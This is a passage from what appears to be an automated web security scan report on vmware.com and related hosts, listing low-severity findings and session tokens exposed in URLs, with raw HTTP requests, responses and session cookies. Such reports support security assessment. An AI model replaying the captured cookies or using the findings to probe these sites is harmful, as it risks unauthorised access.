Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; ObSSOCookie=loggedoutcontinue; BIGipServermyln-prod-https-pool=2822664458.20480.0000; CFID=3193340; CFTOKEN=69435054

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:09:33 GMT
Server: Microsoft-IIS/7.5
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: ML_REFERRER=https%3A%2F%2Fmylearnssl%2Evmware%2Ecom%2FmgrUsers%2FuserLoginError%2Ecfm%3F;path=/
Connection: close
Content-Length: 7208


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>

   <meta http-equiv="Pragma" content="No-Cache">
   <meta http-equiv="Expires" content="0">
...[SNIP]...
5.28. https://www.godaddy.com/gdshop/registrar/search.asp
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.godaddy.com
Path:   /gdshop/registrar/search.asp

Request 1

GET /gdshop/registrar/search.asp HTTP/1.1
Host: www.godaddy.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache
Content-Length: 0
Content-Type: text/html; Charset=utf-8
Expires: Tue, 24 Apr 2012 01:32:00 GMT
Location: https://www.godaddy.com/domains/search.aspx
Server: Microsoft-IIS/7.5
Set-Cookie: currency1=potableSourceStr=USD; expires=Tue, 30-Apr-2013 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: adc1=US; expires=Mon, 07-May-2012 07:00:00 GMT; domain=.godaddy.com; path=/
Set-Cookie: serverVersion=A; domain=.godaddy.com; path=/
Set-Cookie: domainYardVal=%2D1; domain=.godaddy.com; path=/
Set-Cookie: ASPSESSIONIDSUDRDABD=NBMPNOICFLHJPJMKNPLCGADA; secure; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Tue, 01 May 2012 00:12:00 GMT
Connection: close

5.29. https://www.vmware.com/a/webcasts/details/159
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/159

Request 1

GET /a/webcasts/details/159 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=773foj4mjj36oic1e9vficek37; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72999

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.30. https://www.vmware.com/a/webcasts/details/189
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/189

Request 1

GET /a/webcasts/details/189 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=rvca5i58hha88rk3c6m7iaho66; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72893

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.31. https://www.vmware.com/a/webcasts/details/190
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/190

Request 1

GET /a/webcasts/details/190 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:35 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:35 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=87s4rve0ad9nifuk9iqm979hg6; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72731

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.32. https://www.vmware.com/a/webcasts/details/201
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/201

Request 1

GET /a/webcasts/details/201 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=7ctqh53klohpkr97ti89d6ht73; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72731

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.33. https://www.vmware.com/a/webcasts/details/213
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/213

Request 1

GET /a/webcasts/details/213 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=l3dk0ugfr5eb72diqvkfqj3sq4; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72947

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.34. https://www.vmware.com/a/webcasts/details/225
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/225

Request 1

GET /a/webcasts/details/225 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:31 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=etugdh747srk7ir7k5je9au002; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 73058

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.35. https://www.vmware.com/a/webcasts/details/255
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /a/webcasts/details/255

Request 1

GET /a/webcasts/details/255 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:47:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:47:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=rjkktuj3l4qcsp0h5e67kd0l22; path=/
Set-Cookie: TSc99b3e=06377ac5abde2b66a767d814680bd8c5abb1f043c06b19c14f9f5bff; Path=/
Content-Length: 72423

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
5.36. https://www.vmware.com/account/login.do
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /account/login.do

Request 1

GET /account/login.do HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Location: https://my.vmware.com/web/vmware/login
Content-Type: text/html; charset=iso-8859-1
Expires: Tue, 01 May 2012 03:49:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TSc99b3e=d87605ea3c6611f7580c1ad8ae1573b6abb1f043c06b19c14f9f5d39; Path=/
Content-Length: 242

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>301 Moved Permanently</TITLE>
</HEAD><BODY>
<H1>Moved Permanently</H1>
The document has moved <A HREF="https://my.vmware.com/web/
...[SNIP]...
5.37. https://www.vmware.com/app/template/env.js
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /app/template/env.js

Request 1

GET /app/template/env.js HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.vmware.com/try-vmware/
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335846857794%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=f03fd4ba6cd194fcdd769468fbaf8bb7abb1f043c06b19c14f9f651b; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Ddefault%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=A7E4F324CDBAA8F1C4ACAC86BADE2471; PHPSESSID=5tm66adjd92vc7aqre6rim3er4; BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; ObSSOCookie=loggedoutcontinue

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Length: 45
Content-Type: text/javascript; charset=utf-8
Expires: Tue, 01 May 2012 04:28:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 04:28:24 GMT
Connection: keep-alive
Set-Cookie: TSc99b3e=3ec12e31cc7abd56054cbb6e5930f965abb1f043c06b19c14f9f6668; Path=/

var myvmware_domain="https://my.vmware.com/";
5.38. https://www.vmware.com/dcca2/rss/
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /dcca2/rss/

Request 1

GET /dcca2/rss/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Length: 215
Content-Type: text/javascript; charset=utf-8
Expires: Tue, 01 May 2012 03:49:06 GMT
Date: Tue, 01 May 2012 03:49:06 GMT
Connection: close
Set-Cookie: TSc99b3e=561034634566bf4420948c4c74acbb63abb1f043c06b19c14f9f5d32; Path=/

var siteloc = window.location;if (!dcca_stop) var dcca_stop = 0;if (dcca_stop != 1) document.write("<script src=\"//www.vmware.com/dcca2/rss/index.php?site=");document.write(siteloc);document.write("\
...[SNIP]...
5.39. https://www.vmware.com/download/eula/myvmware_tou.htmlf
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /download/eula/myvmware_tou.htmlf

Request 1

GET /download/eula/myvmware_tou.htmlf HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/registration?source=ACTP&redirectURL=http://www.vmware.com/resources/techresources/
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335846857794%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=fa84c0666d8a1cfd02efd2ab0e918d80abb1f043c06b19c14f9f6268; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520evals%252520%25253A%252520VMware%252520vSphere%252520%25253A%252520guest%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/web/vmware/evalcenter%25253Fp%25253Dvmware-vsphere5-ent%252523tab_register%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; PHPSESSID=5tm66adjd92vc7aqre6rim3er4; BIGipServerportal-prod-webgate-pool=1984721162.20480.0000; ObSSOCookie=loggedoutcontinue

Response 1

HTTP/1.1 200 OK
Content-Type: text/html
Vary: Accept-Encoding
Expires: Tue, 01 May 2012 04:17:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 04:17:49 GMT
Content-Length: 7926
Connection: keep-alive
Set-Cookie: TSc99b3e=1f4c2cf04f3bfc94335bae1a3be4be0cabb1f043c06b19c14f9f63ed; Path=/


<a id="c225663" class="no"></a><h3>My VMware Terms of Use</h3>

<p>The My VMware Terms of Use is available in the following languages: <a href="/download/eula/myvmware_tou.htmlf">English</a>, <a
...[SNIP]...
5.40. https://www.vmware.com/go/calculator
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /go/calculator

Request 1

GET /go/calculator HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
X-Powered-By: PHP/5.2.0
Location: http://roitco.vmware.com
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:49:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:05 GMT
Connection: close
Set-Cookie: TSc99b3e=641332a36efb51a67a7dfbcf95c594ebabb1f043c06b19c14f9f5d31; Path=/

5.41. https://www.vmware.com/go/costperappcalc
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /go/costperappcalc

Request 1

GET /go/costperappcalc HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
X-Powered-By: PHP/5.2.0
Location: http://www.vmware.com/technology/whyvmware/calculator/
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:49:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:05 GMT
Connection: close
Set-Cookie: TSc99b3e=641332a36efb51a67a7dfbcf95c594ebabb1f043c06b19c14f9f5d31; Path=/

5.42. https://www.vmware.com/go/hcl
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /go/hcl

Request 1

GET /go/hcl HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
X-Powered-By: PHP/5.2.0
Location: http://www.vmware.com/resources/compatibility/search.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:49:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:05 GMT
Connection: close
Set-Cookie: TSc99b3e=c110b194fc0c63030b6af21f17da1d9fabb1f043c06b19c14f9f5d30; Path=/

5.43. https://www.vmware.com/go/vSphereQuickStart
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /go/vSphereQuickStart

Request 1

GET /go/vSphereQuickStart HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
X-Powered-By: PHP/5.2.0
Location: http://www.vmware.com/a/webcasts/details/260
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:49:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:05 GMT
Connection: close
Set-Cookie: TSc99b3e=641332a36efb51a67a7dfbcf95c594ebabb1f043c06b19c14f9f5d31; Path=/

5.44. https://www.vmware.com/vmwarestore/vsphere_smbpurchaseoptions.html
Previous  Next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.vmware.com
Path:   /vmwarestore/vsphere_smbpurchaseoptions.html

Request 1

GET /vmwarestore/vsphere_smbpurchaseoptions.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 301 Moved Permanently
Location: http://www.vmware.com/vmwarestore/smb-products/vsphere-smb/vsphere_smbpurchaseoptions.html
Content-Type: text/html; charset=iso-8859-1
Expires: Tue, 01 May 2012 03:49:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:49:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TSc99b3e=d81d6d813781d5e6b8bbff9a45008d13abb1f043c06b19c14f9f5d37; Path=/
Content-Length: 294

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>301 Moved Permanently</TITLE>
</HEAD><BODY>
<H1>Moved Permanently</H1>
The document has moved <A HREF="http://www.vmware.com/vmwa
...[SNIP]...
6. Session token in URL
Previous  Next

There are 6 instances of this issue:

6.1. http://l.sharethis.com/pview
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://l.sharethis.com
Path:   /pview

Request 1

GET /pview?event=pview&fpc=c7447e-13706811b44-1074dca4-1&sessionID=1335843953482.35898&sourceURL=http%3A%2F%2Fwww.vmware.com%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html%3Fsrc%3DWWW_ProdSelTool_vsphere-standard_LearnMore%23utm_source%3DWWW_ProdSelTool_vsphere-standard_LearnMore%26utm_medium%3Dsrc%26utm_campaign%3Dsrc-tagged-url&hostname=www.vmware.com&location=%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html&publisher=258d0500-cd02-4914-b13a-10791b849a65&shareHash=optout&incomingHash=optout&refDomain=www.fakereferrerdominator.com&refQuery=referrerPathName%3FRefParName%3DRefValue&url=http%3A%2F%2Fwww.vmware.com%2Fproducts%2Fvsphere%2Fmid-size-and-enterprise-business%2Foverview.html%3Fsrc%3DWWW_ProdSelTool_vsphere-standard_LearnMore%23utm_source%3DWWW_ProdSelTool_vsphere-standard_LearnMore%26utm_medium%3Dsrc%26utm_campaign%3Dsrc-tagged-url&sharURL=&source=share4x&title=VMware%20vSphere%3A%20Private%20Cloud%20Computing%20for%20Mid-Size%20%26%20Enterprise%20Businesses&ts1335843953565.0= HTTP/1.1
Host: l.sharethis.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: st_optout=true

Response 1

HTTP/1.1 204 No Content
Server: nginx/0.8.54
Date: Tue, 01 May 2012 03:45:48 GMT
Connection: keep-alive
Set-Cookie: __stid=ClbB/U+fXGyNWCNxbt/bAg==; expires=Wed, 01-May-13 03:45:48 GMT; domain=.sharethis.com; path=/
P3P: policyref="/w3c/p3p.xml", CP="ALL DSP COR CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM"

6.2. https://my.vmware.com/web/vmware/evalcenter
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Request 1

GET /web/vmware/evalcenter;jsessionid=E767A3875242960C32EB925383A61EEA?p_p_id=evalcenter_WAR_itevals_INSTANCE_d9Mi&p_p_lifecycle=2&p_p_state=normal&p_p_mode=view&p_p_resource_id=checkRememberMe&p_p_cacheability=cacheLevelPage&p_p_col_id=column-1&p_p_col_count=1 HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "6f291b82"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:07 GMT
Date: Tue, 01 May 2012 04:21:07 GMT
Content-Length: 537
Connection: close
Set-Cookie: JSESSIONID=CB471203590D3C5409B35B22E85B7BD8; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:07 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/


<portlet:defineObjects />

<!-- <div class="wide" id="content-container">
<div id="content">
<div id="errorbetaBody">
<p> </p>
<p><br/><br /></p>

<p><a href="#"
...[SNIP]...
6.3. http://www.vmware.com/cn/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.vmware.com
Path:   /cn/

Request 1

GET /cn/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:03 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88910


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
<li>
